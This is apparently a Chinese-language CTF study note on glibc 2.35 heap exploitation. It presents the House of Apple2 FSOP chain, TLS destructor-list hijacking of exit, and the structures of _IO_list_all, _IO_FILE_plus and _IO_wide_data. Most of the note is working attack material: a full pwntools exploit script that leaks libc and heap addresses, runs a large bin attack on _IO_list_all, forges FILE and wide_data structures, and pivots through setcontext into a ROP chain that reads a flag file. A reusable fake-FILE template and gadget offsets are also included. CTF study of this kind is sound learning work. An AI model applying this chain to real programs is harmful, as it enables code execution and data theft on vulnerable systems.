0x7fe79537abef <setcontext+79> mov r12, qword ptr [rdx + 0x48]
0x7fe79537abf3 <setcontext+83> mov r13, qword ptr [rdx + 0x50]
0x7fe79537abf7 <setcontext+87> mov r14, qword ptr [rdx + 0x58]
0x7fe79537abfb <setcontext+91> mov r15, qword ptr [rdx + 0x60]
0x7fe79537abff <setcontext+95> test dword ptr fs:[0x48], 2
0x7fe79537ac0b <setcontext+107> je setcontext+294 <setcontext+294>

0x7fe79537acc6 <setcontext+294> mov rcx, qword ptr [rdx + 0xa8]
► 0x7fe79537accd <setcontext+301> push rcx
0x7fe79537acce <setcontext+302> mov rsi, qword ptr [rdx + 0x70]
0x7fe79537acd2 <setcontext+306> mov rdi, qword ptr [rdx + 0x68]
0x7fe79537acd6 <setcontext+310> mov rcx, qword ptr [rdx + 0x98] <abort+141>
0x7fe79537acdd <setcontext+317> mov r8, qword ptr [rdx + 0x28]
0x7fe79537ace1 <setcontext+321> mov r9, qword ptr [rdx + 0x30]
0x7fe79537ace5 <setcontext+325> mov rdx, qword ptr [rdx + 0x88]
0x7fe79537acec <setcontext+332> xor eax, eax
0x7fe79537acee <setcontext+334> ret

0x7fe7953567ad <abort+141> ret

0x7fe795357a82 <iconv+162> pop rdi
0x7fe795357a83 <iconv+163> ret

0x7fe795361bea <__gconv_create_spec+650> pop rsi

_IO_wfile_overflow

条件:f->_flags & _IO_NO_WRITES == 0并且f->_flags & _IO_CURRENTLY_PUTTING == 0和f->_wide_data->_IO_write_base == 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
0x7fa07cfdfc6f <_IO_flush_all_lockp+207>    call   qword ptr [rax + 0x18]        <_IO_wfile_overflow>


_IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0)
{
_IO_wdoallocbuf (f);// 需要走到这里
// ......
}
}
}

_IO_wdoallocbuf

条件:fp->_wide_data->_IO_buf_base != 0fp->_flags & _IO_UNBUFFERED == 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0x7fb8e0ba5d20 <_IO_wfile_overflow+544>    call   _IO_wdoallocbuf                <_IO_wdoallocbuf>


void _IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)// _IO_WXXXX调用
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)


_IO_wxxxxx

条件:fp->_wide_data->_IO_buf_base != 0和fp->_flags & _IO_UNBUFFERED == 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 RAX  0x557e9eedfec0 ◂— 0x620
RBX 0xffffffff
RCX 0x6c0
RDX 0x621
RDI 0x557e9eedf8a0 ◂— 0xfffff7f5
RSI 0x557e9eede800 ◂— 0x67616c662f2e /* './flag' */
R8 0x3
R9 0x7ffd3e48cee0 —▸ 0x7fb8e0d1bbe0 (initial) ◂— 0x0
R10 0x20
R11 0x7ffd3e48ce00 —▸ 0x7fb8e0d632e0 —▸ 0x557e9e0ab000 ◂— 0x10102464c457f
R12 0x0
R13 0x7fb8e0d1a980 (_IO_helper_jumps) ◂— 0x0
R14 0x7ffd3e48ce90 —▸ 0x7fb8e0bab780 (flush_cleanup) ◂— endbr64
R15 0x0
RBP 0x557e9eedf8a0 ◂— 0xfffff7f5
RSP 0x7ffd3e48ce48 —▸ 0x557e9eedfec0 ◂— 0x620
*RIP 0x7fb8e0c6e1e8 (getkeyserv_handle+536) ◂— call qword ptr [rdx + 0x20]

► 0x7fb8e0ba36e8 <_IO_wdoallocbuf+40> call qword ptr [rax + 0x68]

Magic_gadget:
0x7fb8e0c6e1e0 <getkeyserv_handle+528> mov rdx, qword ptr [rdi + 8]
0x7fb8e0c6e1e4 <getkeyserv_handle+532> mov qword ptr [rsp], rax
► 0x7fb8e0c6e1e8 <getkeyserv_handle+536> call qword ptr [rdx + 0x20]

(GLibc2.35_3.1)这里不能用之前的Magic_gadget,rdi恒为largebin chunk,导致rdx+0x20不能call到setcontext+61

在Glibc2.36中,可以用这段

mov rdx, qword ptr [rax + 0x38]; mov rdi, rax; call qword ptr [rdx + 0x20];

改进一下Glibc 2.35的gadget:

开始思路想找中转站,继续用之前的magic,但是后面找到个能通过rax直接控rdx的

0x00000000000fc83b : mov rdx, qword ptr [rax + 0xb0] ; call qword ptr [rax + 0x88]

通过这个gadget,再布置下堆3,就能orw了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
from pwn import *
from ctypes import *
#context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64')

libc = ELF('./libc.so.6')
banary = "./vuln"
elf = ELF(banary)
ip = '1'
port = 1

local = 1
if(local==1):
p = process(banary)
else:
p = remote(ip, port)
context.log_level = "debug"

def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
pi = lambda : p.interactive()

#------------------------ MENU ----------------------------
def menu(choice):
ru('>')
sl(str(choice))

def add(index, size):
menu(1)
ru('Index: ')
sl(str(index))
ru('Size: ')
sl(str(size))

def free(index):
menu(2)
ru('Index: ')
sl(str(index))

def edit(index, con=p64(0xdeadbeef)):
menu(3)
ru('Index: ')
sl(str(index))
ru('Content: ')
s(con)

def show(index):
menu(4)
ru('Index: ')
sl(str(index))

def build_fake_file(addr, vtable, _wide_data, rdx=0):
#flag = 0xFBAD2887
#fake_file = p64(flag) # _flags
#fake_file += p64(addr) # _IO_read_ptr
fake_file = b""
fake_file += p64(addr) # _IO_read_end
fake_file += p64(addr) # _IO_read_base
fake_file += p64(addr) # _IO_write_base
fake_file += p64(addr + 1) # _IO_write_ptr
fake_file += p64(rdx) # _IO_write_end
fake_file += p64(addr) # _IO_buf_base
fake_file += p64(0) # _IO_buf_end
fake_file += p64(0) # _IO_save_base
fake_file += p64(0) # _IO_backup_base
fake_file += p64(0) # _IO_save_end
fake_file += p64(0) # _markers
fake_file += p64(0) # _chain could be a anathor file struct
fake_file += p32(1) # _fileno
fake_file += p32(0) # _flags2
fake_file += p64(0) # _old_offset
fake_file += p16(0) # _cur_column
fake_file += p8(0) # _vtable_offset
fake_file += p8(0x10) # _shortbuf
fake_file += p32(0)
fake_file += p64(0) # _lock
fake_file += p64(0) # _offset
fake_file += p64(0) # _codecvt
fake_file += p64(_wide_data) # _wide_data
fake_file += p64(0) # _freeres_list
fake_file += p64(0) # _freeres_buf
fake_file += p64(0) # __pad5
fake_file += p32(0) # _mode
fake_file += p32(0) # unused2
fake_file += p64(0) * 2 # unused2
fake_file += p64(vtable) # vtable
return fake_file

#------------------------ 1. heap & libc ----------------------------
add(0, 1360)
add(1, 1360)
free(0)
add(2, 1280)

show(2)

malloc_hook = u64(p.recv(6).ljust(8, b'\x00')) - 1184
libc_base = malloc_hook - libc.sym['main_arena']
lg('libc_base')

edit(2, b"a" * 15 + b"b")
show(2)
ru(b'b')
heap_base = u64(p.recv(6).ljust(8 ,b'\x00')) - 0x290
lg('heap_base')

#---------------------- 2. large bin attack -----------------
_IO_list_all = libc_base + libc.sym['_IO_list_all']
_IO_list_all_chain = _IO_list_all + 0x88 #_chain

fd = libc_base + 0x1F3150
bk = libc_base + 0x1F3150
fd_nextsize = heap_base + 0xD50

#largebin
add(3, 1568) #0x620,UAF -> large bin
add(4, 1304) #fen+0x8
add(5, 1552) #0x610
add(6, 1296) #fen,0x510

free(3)
add(7, 1584) #0x630

free(5)

#keep the large_bin_chunk
edit(3, p64(fd) + p64(bk) + p64(fd_nextsize)+ p64(_IO_list_all_chain-0x20))

add(8, 1584)#ATTACK

#---------------------- 3. Gadget -----------------
pop_rdi = libc_base + 0x000000000002da82
pop_rsi = libc_base + 0x0000000000037bea
pop_rax = libc_base + 0x00000000000446a0
pop_rdx_r12 = libc_base + 0x00000000001070f1
ret = libc_base + 0x000000000002c7ad


Magic_gadget = libc_base + 0x00000000000fc83b

setcontext_61 = libc_base + libc.sym['setcontext'] + 61

open_addr = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
puts = libc_base + libc.sym['puts']

_IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
lg('_IO_wfile_jumps')

#---------------------- 4. House of apple2(Great) -----------------
"""
_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)
magic_gadget
setcontext+61
orw
"""

'''
large_bin fake_IO_FILE_plus:
flag = ~(2 | 0x8 | 0x800)
vtable = _IO_wfile_jumps
_wide_data = chunkA (fake_wide_data)
_IO_write_end -> Magic_gadget

chunkA ----->_wide_data:
_IO_write_base = 0
_IO_buf_base = 0
_wide_vtable = chunkB/C (doallocate_addr)

chunkA+0xE0 ----->_wide_vtable:
doallocate = chunkC (setcontext+orw)

chunkB ---->Magic_gadget + setcontext_61 && orw
'''
#&target == chunk5_addr

#point the chunk head
chunk_5 = heap_base + 0xd50 #fake_IO_FILE_PLUS
chunk_1 = heap_base + 0x7f0 #fake_wide_data
chunk_6 = heap_base + 0x1ec0 #setcontext_orw
flag_addr = chunk_1 + 0x10
lg('chunk_5')
lg('chunk_1')
lg('chunk_6')


#1.setcontext_orw
#orw
payload = p64(0)*10
payload += p64(0) + p64(Magic_gadget)
payload += p64(0)*3 + p64(setcontext_61)
payload += p64(0) * 2
payload += p64(chunk_6+0xC0-0x8) + p64(ret)
payload += p64(chunk_6)
payload += flat([
pop_rdi, flag_addr, pop_rsi, 0, open_addr,
pop_rdi, 3, pop_rsi, flag_addr+0x300, pop_rdx_r12, 0xff, 0, read,
pop_rdi, flag_addr+0x300, puts,
])
edit(6, payload)


#2.doallocate
jump = chunk_6 + 0x10
lg('jump')

#3.fake_wide_data
fake_wide_data = chunk_1 + 0x10
lg('fake_wide_data')

_wide_data = {
0: b"./flag\x00\x00",
0x18: 0, #IO_write_base
0x30: 0, #_IO_buf_base
0xE0: jump-0x10, #setcontext
}
edit(1, flat(_wide_data))


#4.fake_IO_FILE_plus
#flag
from ctypes import c_uint32
edit(4, b"\x00" * 0x510 + p64(c_uint32(~(2 | 0x8 | 0x800)).value))

#vtable, _wide_data, _IO_write_end
edit(5, build_fake_file(0, _IO_wfile_jumps, fake_wide_data, Magic_gadget))

#debug()

menu(5)


pi()

学这些:

https://dreamkecat.github.io/2022/08/01/glibc-2-35%E4%B8%80%E4%BA%9B%E6%89%8B%E6%B3%95/

https://www.cnblogs.com/7resp4ss/p/16891099.html#house-of-apple2%E6%96%B0%E7%9A%84fsop

PS:开始没找到这些文章,没有前置知识的情况下,硬啃house of apple2,真的太折磨了T_T

tls 劫持 exit 执行流

了解一下

https://tttang.com/archive/1749/

原理

exit函数会先调用__run_exit_handlers函数,而该函数会判断__call_tls_dtorsrun_dtors这两个变量的值是否为空,然后调用__call_tls_dtors()

call_tls_dtors汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
pwndbg> x /40xi __GI___call_tls_dtors
0x7f3db2f85550 <__GI___call_tls_dtors>: endbr64
0x7f3db2f85554 <__GI___call_tls_dtors+4>: push rbp
0x7f3db2f85555 <__GI___call_tls_dtors+5>: push rbx
0x7f3db2f85556 <__GI___call_tls_dtors+6>: sub rsp,0x8
0x7f3db2f8555a <__GI___call_tls_dtors+10>: mov rbx,QWORD PTR [rip+0x1ad82f] # 0x7f3db3132d90
0x7f3db2f85561 <__GI___call_tls_dtors+17>: mov rbp,QWORD PTR fs:[rbx]
0x7f3db2f85565 <__GI___call_tls_dtors+21>: test rbp,rbp
0x7f3db2f85568 <__GI___call_tls_dtors+24>: je 0x7f3db2f855ad <__GI___call_tls_dtors+93>

0x7f3db2f8556a <__GI___call_tls_dtors+26>: nop WORD PTR [rax+rax*1+0x0]
0x7f3db2f85570 <__GI___call_tls_dtors+32>: mov rdx,QWORD PTR [rbp+0x18]
0x7f3db2f85574 <__GI___call_tls_dtors+36>: mov rax,QWORD PTR [rbp+0x0]
0x7f3db2f85578 <__GI___call_tls_dtors+40>: ror rax,0x11
0x7f3db2f8557c <__GI___call_tls_dtors+44>: xor rax,QWORD PTR fs:0x30
0x7f3db2f85585 <__GI___call_tls_dtors+53>: mov QWORD PTR fs:[rbx],rdx
0x7f3db2f85589 <__GI___call_tls_dtors+57>: mov rdi,QWORD PTR [rbp+0x8]
0x7f3db2f8558d <__GI___call_tls_dtors+61>: call rax

0x7f3db2f8558f <__GI___call_tls_dtors+63>: mov rax,QWORD PTR [rbp+0x10]
0x7f3db2f85593 <__GI___call_tls_dtors+67>: lock sub QWORD PTR [rax+0x468],0x1
0x7f3db2f8559c <__GI___call_tls_dtors+76>: mov rdi,rbp
0x7f3db2f8559f <__GI___call_tls_dtors+79>: call 0x7f3db2f6d370 <free@plt>
0x7f3db2f855a4 <__GI___call_tls_dtors+84>: mov rbp,QWORD PTR fs:[rbx]
0x7f3db2f855a8 <__GI___call_tls_dtors+88>: test rbp,rbp
0x7f3db2f855ab <__GI___call_tls_dtors+91>: jne 0x7f3db2f85570 <__GI___call_tls_dtors+32>
0x7f3db2f855ad <__GI___call_tls_dtors+93>: add rsp,0x8
0x7f3db2f855b1 <__GI___call_tls_dtors+97>: pop rbx
0x7f3db2f855b2 <__GI___call_tls_dtors+98>: pop rbp
0x7f3db2f855b3 <__GI___call_tls_dtors+99>: ret


nop WORD PTR [rax+rax*1+0x0] #滑块
mov rdx,QWORD PTR [rbp+0x18] #rbp是第一个结构体的位置addr,那么将[addr+0x18]的值赋给rdx,这个值是结构体里的next指针。
mov rax,QWORD PTR [rbp+0x0] #将结构体的fuc指针交给rax
ror rax,0x11 #fuc与0x11进行右循环异或,结果保存在rax
xor rax,QWORD PTR fs:0x30 #rax 与fs段里的某一个值进行异或,这个值就是tcache的key字段,
#或者说就是secret的变量的值,secret的位置在tls基址+0x30
mov QWORD PTR fs:[rbx],rdx #将next指针放入fs段
mov rdi,QWORD PTR [rbp+0x8] #将obj指针写入rdi
call rax #调用fuc

不会对tls_dtor_list的结构做是否合法的检查。而且这里还设置了rbp栈底指向结构体的地址,

如果我们将rbp劫持到某一个地址,然后call rax的时候执行leave ret

就可以实现栈的迁移

思路

tls_dtor_list头节点写为一个堆地址heap_address_ctr,然后在heap_address_ctr写入leave ret的gadget指针,这样,call rax 后,rip 指向了heap_address_ctr +8,我们就完成了栈的劫持,我们可以在这里布置rop。

exit_IO流

调试的时候看

  • exit
    • __run_exit_handlers
      • fcloseall
        • _IO_cleanup
          • _IO_flush_all_lockp
            • _IO_OVERFLOW(fp) (指调用vtable里固定偏移的一个函数,我们可以在此对vtable进行错位)
              • _IO_new_file_overflow(即vtable里固定偏移的一个函数)

IO_FILE

https://www.cnblogs.com/7resp4ss/p/16891099.html

链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
"""
_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)
magic_gadget
setcontext+61
orw
"""

'''
large bin attack -> _IO_list_all_chain = chunkA


chunkA fake_IO_FILE_plus:
flag = ~(2 | 0x8 | 0x800)
vtable = _IO_wfile_jumps
_wide_data = chunkB (fake_wide_data)
_IO_write_end -> Magic_gadget

chunkB ----->_wide_data:
_IO_write_base = 0
_IO_buf_base = 0
_wide_vtable = chunkC (doallocate_addr)

chunkC -----> _wide_data->_wide_vtable:
doallocate = chunkD (setcontext+orw)

chunkD ---->setcontext + orw
'''

_IO_list_all链子

_IO_list_all+0x88 为_chain ,large bin attack改其为下一个chunk地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> p *_IO_list_all
$5 = {
file = {
_flags = -72540025,
_IO_read_ptr = 0x7efd6cadb723 <_IO_2_1_stderr_+131> "",
_IO_read_end = 0x7efd6cadb723 <_IO_2_1_stderr_+131> "",
_IO_read_base = 0x7efd6cadb723 <_IO_2_1_stderr_+131> "",
_IO_write_base = 0x7efd6cadb723 <_IO_2_1_stderr_+131> "",
_IO_write_ptr = 0x7efd6cadb723 <_IO_2_1_stderr_+131> "",
_IO_write_end = 0x7efd6cadb723 <_IO_2_1_stderr_+131> "",
_IO_buf_base = 0x7efd6cadb723 <_IO_2_1_stderr_+131> "",
_IO_buf_end = 0x7efd6cadb724 <_IO_2_1_stderr_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7efd6cadb780 <_IO_2_1_stdout_>, //改为chunkA:fake_IO_FILE_plus
_fileno = 2,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7efd6cadd740 <_IO_stdfile_2_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7efd6cada8a0 <_IO_wide_data_2>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7efd6cadc580 <__GI__IO_file_jumps>
}

_IO_FILE_plus结构体

(在库里面没找到,直接调pwndbg看的)

chunkA = fake_IO_FILE_plus

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> p  *(struct _IO_FILE_plus *) stdout
$1 = {
file = {
_flags = -72537977,
_IO_read_ptr = 0x7f645cbaa803 <_IO_2_1_stdout_+131> ">",
_IO_read_end = 0x7f645cbaa803 <_IO_2_1_stdout_+131> ">",
_IO_read_base = 0x7f645cbaa803 <_IO_2_1_stdout_+131> ">",
_IO_write_base = 0x7f645cbaa803 <_IO_2_1_stdout_+131> ">",
_IO_write_ptr = 0x7f645cbaa803 <_IO_2_1_stdout_+131> ">",
_IO_write_end = 0x7f645cbaa803 <_IO_2_1_stdout_+131> ">",
_IO_buf_base = 0x7f645cbaa803 <_IO_2_1_stdout_+131> ">",
_IO_buf_end = 0x7f645cbaa804 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7f645cba9aa0 <_IO_2_1_stdin_>,
_fileno = 1,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = ">",
_lock = 0x7f645cbac750 <_IO_stdfile_1_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7f645cba99a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7f645cbab580 <__GI__IO_file_jumps>
}

_IO_FILE_plus -> _wide_data = chunkB_addr

根据程序的堆块条件,自己控制偏移

板子

1

_IO_wide_data结构体

chunkB = fake_IO_wide_data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
pwndbg> p  *(struct _IO_wide_data *) stdout
$1 = {
_IO_read_ptr = 0xfbad2887 <error: Cannot access memory at address 0xfbad2887>,
_IO_read_end = 0x7f601987f803 <_IO_2_1_stdout_+131> L">\x88175000\x7f6019\xffffff00\xffffffffÿ",
_IO_read_base = 0x7f601987f803 <_IO_2_1_stdout_+131> L">\x88175000\x7f6019\xffffff00\xffffffffÿ",
_IO_write_base = 0x7f601987f803 <_IO_2_1_stdout_+131> L">\x88175000\x7f6019\xffffff00\xffffffffÿ",
_IO_write_ptr = 0x7f601987f803 <_IO_2_1_stdout_+131> L">\x88175000\x7f6019\xffffff00\xffffffffÿ",
_IO_write_end = 0x7f601987f803 <_IO_2_1_stdout_+131> L">\x88175000\x7f6019\xffffff00\xffffffffÿ",
_IO_buf_base = 0x7f601987f803 <_IO_2_1_stdout_+131> L">\x88175000\x7f6019\xffffff00\xffffffffÿ",
_IO_buf_end = 0x7f601987f803 <_IO_2_1_stdout_+131> L">\x88175000\x7f6019\xffffff00\xffffffffÿ",
_IO_save_base = 0x7f601987f804 <_IO_2_1_stdout_+132> L"",
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_IO_state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
},
_IO_last_state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
},
_codecvt = {
__cd_in = {
step = 0x7f601987eaa0 <_IO_2_1_stdin_>,
step_data = {
__outbuf = 0x1 <error: Cannot access memory at address 0x1>,
__outbufend = 0xffffffffffffffff <error: Cannot access memory at address 0xffffffffffffffff>,
__flags = 1040187392,
__invocation_counter = 0,
__internal_use = 428349264,
__statep = 0xffffffffffffffff,
__state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
}
}
},
__cd_out = {
step = 0x7f601987e9a0 <_IO_wide_data_1>,
step_data = {
__outbuf = 0x0,
__outbufend = 0x0,
__flags = 0,
__invocation_counter = 0,
__internal_use = -1,
__statep = 0x0,
__state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
}
}
}
},
_shortbuf = L"\x19880580",
_wide_vtable = 0x7f601987f6a0 <_IO_2_1_stderr_>
}

_IO_wide_data -> _wide_vtable = chunkC

_IO_wife_jumps

直接引用,放在fake_IO_FILE_plus里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> p _IO_wfile_jumps
$2 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7fb140872ba0 <_IO_new_file_finish>,
__overflow = 0x7fb14086db00 <__GI__IO_wfile_overflow>,
__underflow = 0x7fb14086c770 <__GI__IO_wfile_underflow>,
__uflow = 0x7fb14086b4c0 <__GI__IO_wdefault_uflow>,
__pbackfail = 0x7fb14086b270 <__GI__IO_wdefault_pbackfail>,
__xsputn = 0x7fb14086df60 <__GI__IO_wfile_xsputn>,
__xsgetn = 0x7fb140872350 <__GI__IO_file_xsgetn>,
__seekoff = 0x7fb14086cee0 <__GI__IO_wfile_seekoff>,
__seekpos = 0x7fb1408746e0 <_IO_default_seekpos>,
__setbuf = 0x7fb1408714b0 <_IO_new_file_setbuf>,
__sync = 0x7fb14086ddc0 <__GI__IO_wfile_sync>,
__doallocate = 0x7fb140867f00 <_IO_wfile_doallocate>,
__read = 0x7fb140872760 <__GI__IO_file_read>,
__write = 0x7fb1408721a0 <_IO_new_file_write>,
__seek = 0x7fb140871930 <__GI__IO_file_seek>,
__close = 0x7fb1408714a0 <__GI__IO_file_close>,
__stat = 0x7fb140872190 <__GI__IO_file_stat>,
__showmanyc = 0x7fb1408755b0 <_IO_default_showmanyc>,
__imbue = 0x7fb1408755c0 <_IO_default_imbue>
}

_wide_vtable

1
2
3
4
5
6
7
8
9
10
11
12
13
struct _IO_wide_data
{
wchar_t *_IO_read_ptr;
wchar_t *_IO_read_end;
wchar_t *_IO_read_base;
wchar_t *_IO_write_base;
wchar_t *_IO_write_ptr;
wchar_t *_IO_write_end;
wchar_t *_IO_buf_base;
wchar_t *_IO_buf_end;
[...]
const struct _IO_jump_t *_wide_vtable;
};

虚表就是 _IO_jump_t 结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> p (*(struct _IO_jump_t*) stdout)
$6 = {
__dummy = 4222429319,
__dummy2 = 139892850513923,
__finish = 0x7f3b57a95803 <_IO_2_1_stdout_+131>,
__overflow = 0x7f3b57a95803 <_IO_2_1_stdout_+131>,
__underflow = 0x7f3b57a95803 <_IO_2_1_stdout_+131>,
__uflow = 0x7f3b57a95803 <_IO_2_1_stdout_+131>,
__pbackfail = 0x7f3b57a95803 <_IO_2_1_stdout_+131>,
__xsputn = 0x7f3b57a95803 <_IO_2_1_stdout_+131>,
__xsgetn = 0x7f3b57a95804 <_IO_2_1_stdout_+132>,
__seekoff = 0x0,
__seekpos = 0x0,
__setbuf = 0x0,
__sync = 0x0,
__doallocate = 0x7f3b57a94aa0 <_IO_2_1_stdin_>,
__read = 0x1,
__write = 0xffffffffffffffff,
__seek = 0x3e000000,
__close = 0x7f3b57a97750 <_IO_stdfile_1_lock>,
__stat = 0xffffffffffffffff,
__showmanyc = 0x0,
__imbue = 0x7f3b57a949a0 <_IO_wide_data_1>
}

_wide_vtable -> __doallocate = chunkC

模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#fake_IO_FILE_plus
def build_fake_file(addr, rdx=0, _wide_data, vtable):
flag = 0xFBAD2887
fake_file = p64(flag) # _flags
fake_file += p64(addr) # _IO_read_ptr
fake_file = b""
fake_file += p64(addr) # _IO_read_end
fake_file += p64(addr) # _IO_read_base
fake_file += p64(addr) # _IO_write_base
fake_file += p64(addr + 1) # _IO_write_ptr
fake_file += p64(rdx) # _IO_write_end
fake_file += p64(addr) # _IO_buf_base
fake_file += p64(0) # _IO_buf_end
fake_file += p64(0) # _IO_save_base
fake_file += p64(0) # _IO_backup_base
fake_file += p64(0) # _IO_save_end
fake_file += p64(0) # _markers
fake_file += p64(0) # _chain could be a anathor file struct
fake_file += p32(1) # _fileno
fake_file += p32(0) # _flags2
fake_file += p64(0) # _old_offset
fake_file += p16(0) # _cur_column
fake_file += p8(0) # _vtable_offset
fake_file += p8(0x10) # _shortbuf
fake_file += p32(0)
fake_file += p64(0) # _lock
fake_file += p64(0) # _offset
fake_file += p64(0) # _codecvt
fake_file += p64(_wide_data) # _wide_data
fake_file += p64(0) # _freeres_list
fake_file += p64(0) # _freeres_buf
fake_file += p64(0) # __pad5
fake_file += p32(0) # _mode
fake_file += p32(0) # unused2
fake_file += p64(0) * 2 # unused2
fake_file += p64(vtable) # vtable
return fake_file

#

setcontext+61

Glibc2.35下,找gadget通过rax控制rdx寄存器

magic_gadget

1
0x00000000000fc83b : mov rdx, qword ptr [rax + 0xb0] ; call qword ptr [rax + 0x88]

rax在call进chunk时,其值为chunkC地址,rax+0xb0设置为chunk6的地址,rax+0x88设置为setcontext+61。

setcontext+61

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
;setcontext+61
.text:0000000000050BDD 48 8B A2 A0 00 00 00 mov rsp, [rdx+0A0h]
.text:0000000000050BE4 48 8B 9A 80 00 00 00 mov rbx, [rdx+80h]
.text:0000000000050BEB 48 8B 6A 78 mov rbp, [rdx+78h]
.text:0000000000050BEF 4C 8B 62 48 mov r12, [rdx+48h]
.text:0000000000050BF3 4C 8B 6A 50 mov r13, [rdx+50h]
.text:0000000000050BF7 4C 8B 72 58 mov r14, [rdx+58h]
.text:0000000000050BFB 4C 8B 7A 60 mov r15, [rdx+60h]
.text:0000000000050BFF 64 F7 04 25 48 00 00 00 02 00+test dword ptr fs:48h, 2
.text:0000000000050BFF 00 00
.text:0000000000050C0B 0F 84 B5 00 00 00 jz loc_50CC6
.text:0000000000050C0B

.text:0000000000050CC6 loc_50CC6: ; CODE XREF: setcontext+6B↑j
.text:0000000000050CC6 48 8B 8A A8 00 00 00 mov rcx, [rdx+0A8h]
.text:0000000000050CCD 51 push rcx
.text:0000000000050CCE 48 8B 72 70 mov rsi, [rdx+70h]
.text:0000000000050CD2 48 8B 7A 68 mov rdi, [rdx+68h]
.text:0000000000050CD6 48 8B 8A 98 00 00 00 mov rcx, [rdx+98h]
.text:0000000000050CDD 4C 8B 42 28 mov r8, [rdx+28h]
.text:0000000000050CE1 4C 8B 4A 30 mov r9, [rdx+30h]
